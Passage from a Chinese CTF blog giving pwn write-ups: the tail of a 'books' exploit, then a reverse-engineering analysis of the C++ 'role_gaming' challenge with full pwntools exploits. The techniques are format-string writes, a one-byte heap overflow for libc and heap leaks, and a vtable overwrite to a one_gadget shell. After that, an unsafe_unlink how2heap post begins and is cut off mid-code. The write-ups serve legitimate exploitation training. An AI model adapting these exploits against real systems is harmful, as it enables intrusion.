<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload1=((<span class="string">'%'</span>+str(<span class="number">0xA39</span>)+<span class="string">'c%13$hn|%19$p|%31$p'</span>).ljust(<span class="number">0x74</span>,<span class="string">'a'</span>)).ljust(<span class="number">0x88</span>,<span class="string">'\x00'</span>)+<span class="string">'\x50\x01'</span></span><br><span class="line"><span class="comment">#下面的0x6011B8会放在%13$n处，%19$p是一个栈地址，%31$p是libc_start_main的返回地址，A39是main函数地址地位</span></span><br><span class="line">edit(<span class="number">1</span>,payload1)<span class="comment">#溢出修改size</span></span><br><span class="line"></span><br><span class="line">submit(<span class="number">0x6011B8</span>)<span class="comment">#选择时顺带填上地址，然后此时malloc的chunk就会overlap了</span></span><br></pre></td></tr></table></figure>

<p>然后计算对应地址</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">ret_stack=int(p.recv(<span class="number">14</span>),<span class="number">16</span>)<span class="number">-0x18</span><span class="comment">#stack address of ret</span></span><br><span class="line">libc_base=int(p.recv(<span class="number">15</span>).strip(<span class="string">'|'</span>),<span class="number">16</span>)<span class="number">-0x20830</span></span><br><span class="line">one=<span class="number">0x45216</span>+libc_base<span class="comment">#one_gadget</span></span><br></pre></td></tr></table></figure>

<p>之后第二次利用与第一次相同，但是有一点，one_gaget的地址可能与第二次执行的返回地址有3个Byte不一样，那怎么办。所以第二次我们可以修改两次（为什么不是三次是因为三个字节的大小顺序可能会不一样，在使用<code>%hhn</code>写入的时候前面的输出会对后面产生影响，但是如果一次改两个字节<code>%hn</code>和一次改一个字节<code>%hn</code>就可以控制顺序了）</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">change1=one&amp;<span class="number">0xffff</span></span><br><span class="line">change2=one&amp;<span class="number">0xff0000</span></span><br><span class="line">change2=change2&gt;&gt;<span class="number">16</span></span><br></pre></td></tr></table></figure>

<p>printf时我们写入的地址在栈上的偏移需要自己计算一下，地址也需要计算一下，因为此时的栈已经变了，不过偏移是固定的</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload1=((<span class="string">'%0'</span>+str(change2)+<span class="string">'d%14$hhn|%0'</span>+str(change1-change2<span class="number">-1</span>)+<span class="string">'d%13$hn|'</span>).ljust(<span class="number">0x74</span>,<span class="string">'a'</span>)).ljust(<span class="number">0x88</span>,<span class="string">'\x00'</span>)+<span class="string">'\x50\x01'</span></span><br><span class="line">edit(<span class="number">1</span>,payload1)</span><br><span class="line"></span><br><span class="line">submit(ret_stack<span class="number">-0x110</span>,ret_stack<span class="number">-0x110</span>+<span class="number">2</span>)<span class="comment">#submit时填上两个地址</span></span><br></pre></td></tr></table></figure>

<p>最终getshell</p>
<h2 id="完整Exp"><a href="#完整Exp" class="headerlink" title="完整Exp"></a>完整Exp</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./books'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span><span class="params">(x,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'5: Submit\n'</span>)</span><br><span class="line">	p.sendline(str(x))</span><br><span class="line">	p.recvuntil(<span class="string">' order:\n'</span>)</span><br><span class="line">	p.sendline(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(x)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'5: Submit\n'</span>)</span><br><span class="line">	<span class="keyword">if</span> x == <span class="number">1</span>:</span><br><span class="line">		p.sendline(<span class="string">'3'</span>)</span><br><span class="line">	<span class="keyword">else</span>:</span><br><span class="line">		p.sendline(<span class="string">'4'</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">submit</span><span class="params">(address,address2=<span class="number">0</span>)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'5: Submit\n'</span>)</span><br><span class="line">	p.sendline(p64(<span class="number">0x35</span>)+p64(address)+p64(address2))</span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload1=((<span class="string">'%'</span>+str(<span class="number">0xA39</span>)+<span class="string">'c%13$hn|%19$p|%31$p'</span>).ljust(<span class="number">0x74</span>,<span class="string">'a'</span>)).ljust(<span class="number">0x88</span>,<span class="string">'\x00'</span>)+<span class="string">'\x50\x01'</span></span><br><span class="line">edit(<span class="number">1</span>,payload1)</span><br><span class="line"></span><br><span class="line">submit(<span class="number">0x6011B8</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">ret_stack=int(p.recv(<span class="number">14</span>),<span class="number">16</span>)<span class="number">-0x18</span></span><br><span class="line">libc_base=int(p.recv(<span class="number">15</span>).strip(<span class="string">'|'</span>),<span class="number">16</span>)<span class="number">-0x20830</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'ret_stack:'</span>+hex(ret_stack)+<span class="string">'\nlibc_base:'</span>+hex(libc_base)+ <span class="string">"\033[0m"</span>)</span><br><span class="line">one=<span class="number">0x45216</span>+libc_base</span><br><span class="line"></span><br><span class="line">change1=one&amp;<span class="number">0xffff</span></span><br><span class="line">change2=one&amp;<span class="number">0xff0000</span></span><br><span class="line">change2=change2&gt;&gt;<span class="number">16</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'one_gadget:'</span>+hex(one)+<span class="string">"\033[0m"</span>)</span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'change1:'</span>+hex(change1)+<span class="string">'\nchange2:'</span>+hex(change2)+ <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload1=((<span class="string">'%0'</span>+str(change2)+<span class="string">'d%14$hhn|%0'</span>+str(change1-change2<span class="number">-1</span>)+<span class="string">'d%13$hn|'</span>).ljust(<span class="number">0x74</span>,<span class="string">'a'</span>)).ljust(<span class="number">0x88</span>,<span class="string">'\x00'</span>)+<span class="string">'\x50\x01'</span></span><br><span class="line">edit(<span class="number">1</span>,payload1)</span><br><span class="line"></span><br><span class="line">submit(ret_stack<span class="number">-0x110</span>,ret_stack<span class="number">-0x110</span>+<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="role-gaming"><a href="#role-gaming" class="headerlink" title="role_gaming"></a>role_gaming</h1><h2 id="程序分析-1"><a href="#程序分析-1" class="headerlink" title="程序分析"></a>程序分析</h2><p>因为第一次在pwn里面写到c++的程序，本来c++也不太好逆，就…稍微写的有点久？（以后逆向速度要加油~）</p>
<h3 id="main"><a href="#main" class="headerlink" title="main"></a>main</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581907941776.png" width="85%" height="85%">

<p>初始化：申请了一个0xA0(0xB0)大小的chunk，用来保存后面的指针</p>
<p>下面主要就是从栈上读取一个command，用来操作游戏，大小是0xFFF，会在输入结尾处改成0</p>
<h3 id="new"><a href="#new" class="headerlink" title="new"></a>new</h3><p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581908110687.png" alt="1581908110687"></p>
<p>最多允许new 0x13个character，其中character有两种类型：barbarian，wizzard，在C++里面来说就是，barbarian和wizard类从character继承而来。<br>申请barbarian的command格式为：“new barbarian ”+personnage，wizzard的格式为“new wizzard ”+personnage</p>
<p>每次创建前都会调用<code>get_personnage</code>，这个函数会调用strncmp判断command中的personnage和所有character对应chunk中的personnage，其中判断时的n用的是存在chunk上的那个记录，如果有重复的personnage，会直接申请失败</p>
<p>对比完之后开始创建character，其对应的chunk如下：<br>character：new   0xF8(0x100)<br>personnage：calloc   0x??（由输入决定）</p>
<h4 id="barbarian："><a href="#barbarian：" class="headerlink" title="barbarian："></a>barbarian：</h4><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581908829020.png" width="60%" height="60%">

<h4 id="wizzard："><a href="#wizzard：" class="headerlink" title="wizzard："></a>wizzard：</h4><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581908985082.png" width="60%" height="60%">

<p>两者的初始化基本都差不多，除了Vtable和一些值可能存在不同</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581910097692.png" width="60%" height="60%">

<p>通过搜索personnage判断是否存在character<br>如果存在</p>
<ul>
<li>free personnage，并将character chunk上的指针置零</li>
<li>delete character_ptr，并在对应记录上赋值为前一个character，character数量减一</li>
</ul>
<h3 id="help"><a href="#help" class="headerlink" title="help"></a>help</h3><p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581910298728.png" alt="1581910298728"></p>
<p>打印帮助信息</p>
<h3 id="change"><a href="#change" class="headerlink" title="change"></a>change</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581911404715.png" width="60%" height="60%">

<p>格式为”change “+oldpersonnage+” “+newpersonnage</p>
<p>如果旧personnage长度大于新的，就直接strncpy到对应chunk去，如果小于则需要realloc</p>
<h3 id="print-all"><a href="#print-all" class="headerlink" title="print all"></a>print all</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581928137419.png" width="60%" height="60%">

<p>调用到对应类的虚函数来输出其内容</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>（以后碰到复杂的题一定要先写漏洞分析）</p>
<h3 id="chunks-amp-内存操作"><a href="#chunks-amp-内存操作" class="headerlink" title="chunks&amp;内存操作"></a>chunks&amp;内存操作</h3><p>chunk：</p>
<ol>
<li>初始用来存储的chunk，0xA0(0xB0)大小，new出来的chunk（new是调用malloc来实现的）</li>
<li>character chunk，0xf8(0x100)大小，calloc出来的chunk</li>
<li>personnage chunk，大小由我们控制，不过不能为0因为程序会自动加上一个’B’或者’W’，calloc出来的chunk，内存上申请时挨着character chunk</li>
</ol>
<p>内存操作：</p>
<p>除了上面申请内存的地方还有释放内存时是先free(personnage)，然后delete character chunk。在change里面还有一个realloc personnage</p>
<h3 id="漏洞点："><a href="#漏洞点：" class="headerlink" title="漏洞点："></a>漏洞点：</h3><p>初始化时，处理输入的personnage会先调用strlen计算len，然后<code>calloc(len,1)</code>,接着存len+1在对应记录上<br>接着用<code>strncpy(chunkptr + 1,ptr, len)</code>从chunk的第2个字节处开始放置字符串</p>
<p>此处存在1Byte overflow</p>
<p>在change处，由于记录的len是加过1的，当我们输入的新personnage长度和记录长度相等时，也可以修改到后面一个字节</p>
<p>前面分析的时候顺带画了一个图方便自己看：</p>
<p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581995268256.png" alt="1581995268256"></p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>exploit就也是堆上比较常见的构造了，这里我使用的方法是先用free modified chunk来leak内容，然后用malloc modified chunk来覆盖Vtable，具体为什么见下文</p>
<p>最开始的时候我申请了3个barbarian(a,b,c)，此时如果使用a的overflow可以修改到b记录chunk的size低一字节，因为申请a的时候产生的overflow在topchunk上，所以不用管，主要是利用change时的overflow</p>
<table>
<thead>
<tr>
<th>0x100</th>
<th>0x20</th>
<th>0x100</th>
<th>0x??</th>
<th>0x100</th>
<th>0x??</th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td>chunk for overflow</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>a</td>
<td>a</td>
<td>b</td>
<td>b</td>
<td>c</td>
<td>c</td>
</tr>
</tbody></table>
<p>然后我看到后面的chunk刚好大小可以设置在一个字节，所以就想能不能利用一个0x70的来fastbin attack，通过free overlap修改其fd，然而我当时没有考虑到的是，我们的chunk大小申请是通过输入的personnage长度来决定的，如果想使用修改fd来fastbin attack，当我改到fd时，这个chunk的size也被破坏了，因为0字节在初始化时就被截断了，根本无法实现，但是如果通过这个方法来extend a，从而达到泄露指针内容的话还是可以的。</p>
<p>我就先随便申请了5个barbarian（因为之前一直在构造的时候都畏手畏脚的，这次干脆先稍微弄多一点，冗余也没事，能在限制下写出来就行XD</p>
<table>
<thead>
<tr>
<th>0x100</th>
<th>0x20</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>a</td>
<td>a</td>
<td>b</td>
<td>b</td>
<td>c</td>
<td>c</td>
<td>d</td>
<td>d</td>
<td>e</td>
<td>e</td>
</tr>
</tbody></table>
<p>然后就是想办法在b所处的0x160这个范围内放上libc地址和heap地址，可以通过先free d，再free b来在fastbin上放上fd，不过这个leak值得注意的是，只能leak fd和同fd一样在堆上地址结尾是8的这一行数据，因为如果填充foot，后面紧跟的就是size，只能通过刚好盖满一个chunk的size，realloc时让chunk shrink 0x10个字节，刚好把fd放在前一个chunk的foot处，此时就可以leak了</p>
<p>当然free d之后，由于d的记录chunk在unsortedbin上，再free b的话就会让b的记录chunk fd指向d的记录chunk，而不是main_arena了，所以free d之后我又申请了一个f，如下：</p>
<table>
<thead>
<tr>
<th>0x100</th>
<th>0x20</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x20</th>
<th></th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fb1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>a</td>
<td>a</td>
<td>b</td>
<td>b</td>
<td>c</td>
<td>c</td>
<td>f</td>
<td></td>
<td>e</td>
<td>e</td>
<td>f</td>
<td></td>
</tr>
</tbody></table>
<p>再free b之后在b两个chunk的fd上就既有libc地址又有heap地址了，接下来的操作就只是修改和输出：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">new(<span class="string">'a'</span>*<span class="number">0x18</span>)</span><br><span class="line">new(<span class="string">'b'</span>*<span class="number">0x50</span>)</span><br><span class="line">new(<span class="string">'c'</span>*<span class="number">0x50</span>)</span><br><span class="line">new(<span class="string">'d'</span>*<span class="number">0x50</span>)</span><br><span class="line">new(<span class="string">'e'</span>*<span class="number">0x50</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="string">'B'</span>+<span class="string">'d'</span>*<span class="number">0x50</span>)</span><br><span class="line">new(<span class="string">'f'</span>*<span class="number">0x18</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">change(<span class="string">'B'</span>+<span class="string">'a'</span>*<span class="number">0x17</span>+<span class="string">'\x01'</span>,<span class="string">'a'</span>*<span class="number">0x18</span>+<span class="string">'\x61'</span>)</span><br><span class="line">delete(<span class="string">'B'</span>+<span class="string">'b'</span>*<span class="number">0x50</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">###extend a to get libc_base</span></span><br><span class="line">change(<span class="string">'a'</span>*<span class="number">0x18</span>+<span class="string">'\x61'</span>,<span class="string">'A'</span>*<span class="number">0x20</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'successfully\n'</span>)</span><br><span class="line">p.sendline(<span class="string">'print all'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'A'</span>*<span class="number">0x20</span>)</span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x3c4b78</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">####extend a to get heap_base</span></span><br><span class="line">change(<span class="string">'A'</span>*<span class="number">0x20</span>,<span class="string">'*'</span>*(<span class="number">0x40</span>+<span class="number">0xe0</span>)+<span class="string">'\xff'</span>)<span class="comment">#low 1 byte don't care for piebase</span></span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'successfully\n'</span>)</span><br><span class="line">p.sendline(<span class="string">'print all'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'\xff'</span>)</span><br><span class="line">heap_base=(my_u64(p.recv(<span class="number">5</span>))&lt;&lt;<span class="number">8</span>)<span class="number">-0x12500</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'heap_base:'</span>+hex(heap_base) + <span class="string">"\033[0m"</span>)</span><br></pre></td></tr></table></figure>

<p>leak之后，因为fastbin attack实现不了，所以我的卡了很久，最后随便翻了一下别人的思路，知道了在堆上修改vtable这种操作，但是想要覆盖到下一个chunk去修改vtable，用前面free modified chunk的方法，我在记录chunk根本找不到合适的作为fakesize的字段，只有一个字节的overflow当然也不允许我们修改过多，于是决定试试malloc modified chunk</p>
<p>前面用来leak的构造我就没管了，直接在后面新开一块出来用于覆盖vtable，接着我就申请了g、h、以及一个伪造vtable的i，i的personnage块上我填了一个one_gadget的值，毕竟输入6个字节的地址还是可以的</p>
<table>
<thead>
<tr>
<th>0x100</th>
<th>0x60</th>
<th>0x20</th>
<th>0x100</th>
<th>0x30</th>
<th>0x100</th>
<th>0x30</th>
<th>0x100</th>
<th>0x20</th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>one_gadget</td>
</tr>
<tr>
<td>e</td>
<td>e</td>
<td>f</td>
<td>g</td>
<td>g</td>
<td>h</td>
<td>h</td>
<td>i</td>
<td>i</td>
</tr>
</tbody></table>
<p>先free掉g，然后利用f修改g的size为0x150，再change h为0x140+p64(fake vtable)即可malloc到g+h前面0x18字节的chunk，刚好可以修改h的vtable，这里其实我发现前面的构造也不一定要申请f，直接change一个说不定就可以了</p>
<p>修改之后print all即可调用</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./role_gaming'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">new</span><span class="params">(name)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line">	p.sendline(<span class="string">'new barbarian '</span>+name)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(name)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line">	p.sendline(<span class="string">'delete '</span>+name)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">change</span><span class="params">(nameo,namen)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line">	p.sendline(<span class="string">'change '</span>+nameo+<span class="string">' '</span>+namen)</span><br><span class="line"></span><br><span class="line">new(<span class="string">'a'</span>*<span class="number">0x18</span>)</span><br><span class="line">new(<span class="string">'b'</span>*<span class="number">0x50</span>)</span><br><span class="line">new(<span class="string">'c'</span>*<span class="number">0x50</span>)</span><br><span class="line">new(<span class="string">'d'</span>*<span class="number">0x50</span>)</span><br><span class="line">new(<span class="string">'e'</span>*<span class="number">0x50</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="string">'B'</span>+<span class="string">'d'</span>*<span class="number">0x50</span>)</span><br><span class="line">new(<span class="string">'f'</span>*<span class="number">0x18</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">change(<span class="string">'B'</span>+<span class="string">'a'</span>*<span class="number">0x17</span>+<span class="string">'\x01'</span>,<span class="string">'a'</span>*<span class="number">0x18</span>+<span class="string">'\x61'</span>)</span><br><span class="line">delete(<span class="string">'B'</span>+<span class="string">'b'</span>*<span class="number">0x50</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">###extend a to get libc_base</span></span><br><span class="line">change(<span class="string">'a'</span>*<span class="number">0x18</span>+<span class="string">'\x61'</span>,<span class="string">'A'</span>*<span class="number">0x20</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'successfully\n'</span>)</span><br><span class="line">p.sendline(<span class="string">'print all'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'A'</span>*<span class="number">0x20</span>)</span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x3c4b78</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">####extend a to get heap_base</span></span><br><span class="line">change(<span class="string">'A'</span>*<span class="number">0x20</span>,<span class="string">'*'</span>*(<span class="number">0x40</span>+<span class="number">0xe0</span>)+<span class="string">'\xff'</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'successfully\n'</span>)</span><br><span class="line">p.sendline(<span class="string">'print all'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'\xff'</span>)</span><br><span class="line">heap_base=(my_u64(p.recv(<span class="number">5</span>))&lt;&lt;<span class="number">8</span>)<span class="number">-0x12500</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'heap_base:'</span>+hex(heap_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"><span class="comment">####extend a to get heap_base</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">new(<span class="string">'g'</span>*<span class="number">0x30</span>)</span><br><span class="line">new(<span class="string">'h'</span>*<span class="number">0x30</span>)</span><br><span class="line">new(<span class="string">'xxxxxxx'</span>+p64(libc_base+<span class="number">0xf02a4</span>))</span><br><span class="line">delete(<span class="string">'B'</span>+<span class="string">'g'</span>*<span class="number">0x50</span>)</span><br><span class="line"></span><br><span class="line">change(<span class="string">'B'</span>+<span class="string">'f'</span>*<span class="number">0x17</span>+<span class="string">'\x01'</span>,<span class="string">'F'</span>*<span class="number">0x18</span>+<span class="string">'\x51'</span>)</span><br><span class="line">change(<span class="string">'B'</span>+<span class="string">'h'</span>*<span class="number">0x30</span>,<span class="string">'+'</span>*<span class="number">0x140</span>+p64(heap_base+<span class="number">0x12b28</span>))</span><br><span class="line">p.sendline(<span class="string">'print all'</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - unsafe_unlink&amp;stkof、Wheel of Robots</title>
    <url>/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/</url>
    <content><![CDATA[<h1 id="how2heap-unsafe-unlink-amp-stkof、Wheel-of-Robots"><a href="#how2heap-unsafe-unlink-amp-stkof、Wheel-of-Robots" class="headerlink" title="how2heap - unsafe_unlink&amp;stkof、Wheel of Robots"></a>how2heap - unsafe_unlink&amp;stkof、Wheel of Robots</h1><p>环境：ubuntu16.04 libc2.23</p>
<h2 id="unsafe-unlink-c"><a href="#unsafe-unlink-c" class="headerlink" title="unsafe_unlink.c:"></a>unsafe_unlink.c:</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdint.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">uint64_t</span> *chunk0_ptr;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Welcome to unsafe unlink 2.0!\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Tested in Ubuntu 14.04/16.04 64bit.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">int</span> malloc_size = <span class="number">0x80</span>; <span class="comment">//we want to be big enough not to use fastbins</span></span><br><span class="line">	<span class="keyword">int</span> header_size = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"</span>);</span><br><span class="line"></span><br><span class="line">	chunk0_ptr = (<span class="keyword">uint64_t</span>*) <span class="built_in">malloc</span>(malloc_size); <span class="comment">//chunk0</span></span><br><span class="line">	<span class="keyword">uint64_t</span> *chunk1_ptr  = (<span class="keyword">uint64_t</span>*) <span class="built_in">malloc</span>(malloc_size); <span class="comment">//chunk1</span></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The global chunk0_ptr is at %p, pointing to %p\n"</span>, &amp;chunk0_ptr, chunk0_ptr);</span><br><span class="line">	<span 